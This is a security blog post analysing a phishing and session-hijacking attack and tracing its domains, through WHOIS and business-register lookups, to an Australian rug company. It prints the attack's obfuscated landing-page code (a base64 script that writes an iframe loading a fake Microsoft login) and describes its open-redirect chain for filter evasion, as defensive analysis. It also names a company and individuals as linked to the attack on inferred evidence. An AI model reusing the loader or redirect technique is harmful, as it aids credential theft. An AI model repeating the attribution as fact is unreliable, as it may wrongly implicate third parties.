Intelligence

OSINT: Tracking a Session-Hijacking Cyberattack to an Australian Carpet Company

This article covers a post-incident OSINT investigation that linked a recent business email compromise back to an Australian carpet company, due to a DNS registration mishap by the attacker. Persistence and pivoting are key for investigators!

SirPicklJohn
· 11 min read
Send by email
@infophreak 2025

This article covers a post-incident OSINT investigation that linked a recent business email compromise back to an Australian carpet company, due to a DNS registration mishap by the attacker. Persistence and pivoting are key for investigators!

Created by SirPicklJohn (Ayden Parsons)

OSINT - Tracking a Session-Hijacking Cyberattack to an Australian Carpet Company

Persistence and pivoting are key for investigators!

Connect with me!

Phase One: The Attack

(This section covers the attack's methodology and provides some insights on some common attack TTPs [tactics, techniques, and procedures] that were present here to enable the phishing email to bypass modern spam filters. Skip to "Part Two: Tracking the Attacker with DNS OSINT" to see how I linked the Australian company to this attack.)

A significant hurdle that cybersecurity personnel are tasked with overcoming is "the tired employee" - in an age where most office workers are constantly bombarded with emails and information, it is a never-ending task to train and condition employees to fight the habit of glossing-over or skimming emails and making a risky click that could lead to account compromise.

On June 19th, 2025, one such user succumbed to this and fell for the following email:

Integrity Note: The only modifications made to the screenshots in this post include the word "redacted", and are used to keep the victim anonymous - all other content (e.g., non-victim email addresses, misspellings, code snippets, etc.) have been unmodified to give you insight into what real-world attack artifacts may look like. Also note that, while this is objectively not the best phishing email out there and many better ones flood the internet daily, it still works!

Attack Chain: The malicious link embedded in the "Keep Same Passcode" button takes the user through the following sets of redirections, which help obfuscate the attack and make it difficult for Microsoft's spam/phishing filters to follow and detect the attack:

  • The link initially goes to a Korean Google server (www.google.co.kr), and uses Google's open redirect feature (not a bug, despite this being considered a vulnerability in most other websites) to redirect the user to nuvemads.com/klgt/.
    • Further reading: link one (SANS diary entry), link two (article on Google URLs "vulnerable" to open redirections)
  • The nuvemads.com/klgt/ site contains no content for the end-user, and redirects them to the final landing page. (Note: A landing page is the final place where the victim "lands" in a phishing-based attack, that actually executes/holds the payload [i.e., "malicious content"] that compromises the victim.)
  • The final landing page doesn't actually contain the malicious content itself (the malicious content in this case is a fake Microsoft login that compromises the user's session cookie when they input their email), and instead takes some base64-encoded HTML that includes an iframe with the malicious content, decoding and writing the content to the page after it is initially loaded. The iframe loads the landing page located at winwayme[.]co, using a base64-encoded JWT token as a URL parameter to gain access to the page.

(This information was discovered with a combination of opening the links in various sandboxed environments, using browser Developer Tools, and basic base64-decoders.)


Screenshot of the final landing page.
The landing page's (prettified) source code is as follows:

<html>

  <head>
    <meta charset="utf-8">
  </head>

  <body style="margin:0;padding:0">
    <script>
      document.write(atob("PCFkb2N0eXBlIGh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgY2hhcnNldD0idXRmLTgiPjxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+PC9oZWFkPjxib2R5IHN0eWxlPSJtYXJnaW46MDtwYWRkaW5nOjAiPjxpZnJhbWUgc3JjPSJodHRwczovL3dpbndheW1lLmNvLz9zaWduPWV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS5leUoxY213aU9pSm9kSFJ3Y3pvdkwzZHBibmRoZVcxbExtTnZMeUlzSW1SdmJXRnBiaUk2SW5kcGJuZGhlVzFsTG1Odklpd2lhMlY1SWpvaVdHWklhMDlZZDNGU1dGbElJaXdpY21WbUlqb2ljbVZrWVdOMFpXUkFkWE5sY2k1amIyMGlMQ0pwWVhRaU9qRTNOVEF6TkRFM05UTXNJbVY0Y0NJNk1UYzFNRE0wTVRnM00zMC5JRzJXZUxyNzdyU3I5YXVmQmF2NUdGdldfWjNZUWVaNjJWVTBYajVQQWJNJnJlZj1yZWRhY3RlZEB1c2VyLmNvbSIgc3R5bGU9IndpZHRoOjEwMCU7aGVpZ2h0OjEwMHZoO2JvcmRlcjpub25lOyI+PC9pZnJhbWU+PC9ib2R5Pg+PC9odG1sPg=="));
    </script>
    [INVESTIGATIVE/READER ANNOTATION: THE BELOW CODE WAS WRITTEN FROM THE ABOVE CODE, RESULTING IN YET ANOTHER COMMON FORM OF SECURITY FILTER BYPASSING AND OBFUSCATION.]
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1"><iframe src="https://winwayme.co/?sign=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3dpbndheW1lLmNvLyIsImRvbWFpbiI6IndpbndheW1lLmNvIiwia2V5IjoiWGZIa09Yd3FSWFlIIiwicmVmIjoicmVkYWN0ZWRAdXNlci5jb20iLCJpYXQiOjE3NTAzNDE3NTMsImV4cCI6MTc1MDM0MTg3M30.IG2WeLr77rSr9aufBav5GFvW_Z3YQeZ62VU0Xj5PAbM&amp;[email protected]" style="width:100%;height:100vh;border:none;"></iframe>
  </body>

</html>

Description of the above code:

  • The base64-encoded content in the main script (<script>document.write(atob(...))</script>) writes the lower-half of the above code, including the iframe that loads the content from winwayme[.]co:
    • The decoded contents of the ?sign parameter in the request to winwayme[.]co are "{"alg":"HS256","typ":"JWT"}{"url":"https://winwayme.co/","domain":"winwayme.co","key":"XfHkOXwqRXYH","ref":"[email protected]","iat":1750341753,"exp":1750341873}", followed by the base64-encoded string IG2WeLr77rSr9aufBav5GFvW_Z3YQeZ62VU0Xj5PAb, which decodes to jibberish ("mxî´«[AzU4^>O").
    • An additional ref parameter supplies the victim-user's email.

Insights:

  • As mentioned above, the landing page contains base64-encoded JavaScript that writes an iframe to the page after it has been loaded. This iframe loads the malicious web content from winwayme[.]co, with a signature and the victim user's email as a parameter. These serve as multiple layers of obfuscation and encoding that make it difficult for spam filters to detect the malicious content.


Screenshot of landing page's source code, including the iframe loading the page's content from winwayme[.]co.


Screenshot of connection to winwayme[.]co.

Analysis and Takeaways: This usage of redirections, obfuscation, and iframes reflects the common tactic in modern business email compromises to have "intermediaries" and obfuscated references to malicious content that bypass built-in spam/phishing filters that email providers like Microsoft have. These filters can only examine a link so far, meaning that enough redirections and obfuscation will make it difficult for those filters to flag the link as malicious before it ends up in a user's inbox. Additionally, it is harder for investigators like me to discover the infrastructure and workings of the attack when the code is both highly obfuscated and loaded from external sources, and the user is redirected through a variety of domains.

This consistent tactic makes employee training on identifying phishing emails even more necessary, and emphasizes the fact that the human factor is sometimes the critical factor that results in the success or failure of an attack.
(Side note: if an employee doesn't properly identify a phishing email, that doesn't mean they should be fired. This is unfortunately a common, even if unhelpful, practice in certain enterprises that wastes time and talent.)

URLScan.io Analysis

You can view the below urlscan.io analysis for some more information on the malicious website and the intermediaries (google.co.kr and nuvemads.com, see "Page URL History" below) used in this attack:


Also note the CloudFlare human verification button in the urlscan.io screenshot above, which redirects the user to the final page after it is clicked.

You can read more about CloudFlare developer domains (like 'workers.dev') being abused, as they were in this attack, here: https://www.bleepingcomputer.com/news/security/cloudflares-developer-domains-increasingly-abused-by-threat-actors/

After identifying the methodology of the attack and a few domains, it was time to see how far I could track the attacker!

Phase Two: Tracking the Attacker with DNS OSINT

Summary of Investigative Methodology:

  1. Take all identified domains and run WHOIS queries on them (I used both whoxy.com and whois.com, because one may have more insights on a domain than the other or have records on a domain when the other has none). Additionally, running these domains through sandboxes like urlscan.io and tools like Hybrid Analysis or Virus Total can offer new insights or artifacts.
  2. Run IP and reverse IP lookups to identify the IP address of the malicious domain and any other domains hosted on that IP address, respectively. Go back to step 1 for newly-identified domains.
  3. Analyze interesting results and pivot off of any found artifacts (dorking, database lookups, and any other OSINT techniques/tools).

Step One - Initial WHOIS Lookups and Sandboxed Analyses:

Initial List of Identified Domains:

  • www.google.co.kr
  • nuvemads[.]com
  • eca06271[.]1732c51d1c6a3451685539a6.workers[.]de
  • winwayme[.]co

Step Two - Reverse IP Lookups and Finding Other Hosted Domains:

  • Note that the IP Address 172[.]86.104.30 showed up in M365/Azure sign-in logs as the address the malicious login came from.
  • Each one of these domains were/are also hosted on the offending host, so they need to be looked up with WHOIS as well!

The Breakthrough

  • Sure enough, the final domain on the list (sharmadesigngroups[.]com) that was hosted on 172.X.Y.Z had the same registered company, country, and state (in addition to a suspiciously close date of registration) as the malicious domain (winwayme[.]co) used in the attack, except it is totally unredacted and gives us rich information to pivot off of!
  • Thus, it is possible that "Zak Alebe" also registered winwayme[.]co, but even if they didn't, the New South Wales (NSW) company "The Trustee for MALKA RUGS NSW TRUST" is still suspicious.
REGISTRANT CONTACT

Name: Zak Alebe (4 domains)
Company: The Trustee for MALKA RUGS NSW TRUST (5 domains)
Address: 260 Captin Cook Drive Kurnell, NSW 2231
City: Kurnell
State: NSW
ZIP Code: 2231
Country: Australia (8.71 million domains from Australia for $500)
Email: [email protected] (6 domains)
Phone: +61.7517774044

Step Three: OSINT on "Trust for MALKA RUGS NSW TRUST"

Note that the following dead-ends were encountered:

Breakthrough:
Knowing that this company was based in Australia and doing a little more digging on how Australian businesses are identified, we can use the Australian Business Registrar (ABR - https://abr.business.gov.au/) to look up the ABN (Australian Business Number - a unique identifier assigned to each business in Australia) for "The Trustee for MALKA RUGS NSW TRUST".

Sure enough, we can get the ABN (11 252 028 037), as well as information like the date of registration and the location (VIC 3000 - which maps to Melbourne, the state capital of Victoria, Australia), for our suspicious company:

(Source: https://abr.business.gov.au/Search/ResultsActive?SearchText=The Trustee for MALKA RUGS NSW TRUST)

Additionally, we see that they have a different name (the trading name "RUGS CARPET & DESIGN PTY LTD") that we can pivot off of:

(Source: https://abr.business.gov.au/ABN/View?abn=11252028037)

Google dorking for "RUGS CARPET & DESIGN PTY LTD" gives a variety of very interesting results:

Here is another source that links "The Trustee for MALKA RUGS NSW TRUST" to "RUGS CARPET & DESIGN PTY. LTD.": https://www.dnb.com/business-directory/company-profiles.the_trustee_for_malka_rugs_nsw_trust.ddcdd7fe383c30dd8251c1cc6b6b1d03.html
(It's not that I don't trust the Australian government - verifying and/or finding more supporting sources is just good investigative work.)

Conclusions/Summary:

After going through layers upon layers of redirections and encoded JavaScript, the final landing page that compromised the victim's email account was retrieved from winwayme[.]co (or, when I re-analyzed the page later, from sharmadesigngroups[.]com). These domains are hosted on 172[.]86.104.30, and WHOIS records indicate that these were registered on the "PDR Ltd. d/b/a PublicDomainRegistry.com" registrar by someone from the company "The Trustee for MALKA RUGS NSW TRUST", located in New South Wales (or Victoria), Australia.

Records from the Australian Business Register (ABR) and a commercial analytics company (Dun & Bradstreet) show that "The Trustee for MALKA RUGS NSW TRUST" also goes under the legal/trading name "RUGS CARPET & DESIGN PTY. LTD." and is owned by Jack Malka. Dun & Bradstreet, as well as a wide variety of other market intelligence/business analytics platforms, show that "RUGS CARPET & DESIGN PTY. LTD." is marketed to the public under the name "RC+D" (or variations of "RC+D Rugs, Carpets, and Design").

Thus, RC+D is linked to a recent business email compromise because it, under its legal name, is used as the registrant contact in the WHOIS data of the websites used to compromise the victim. However, even if the infrastructure of the attack is clearly owned/registered by RC+D, it is unknown if the company has any additional involvement in the attack, and if so, how much.

Thanks for reading, and I hope you enjoyed it or learned something new!

Written by SirPicklJohn

Keep reading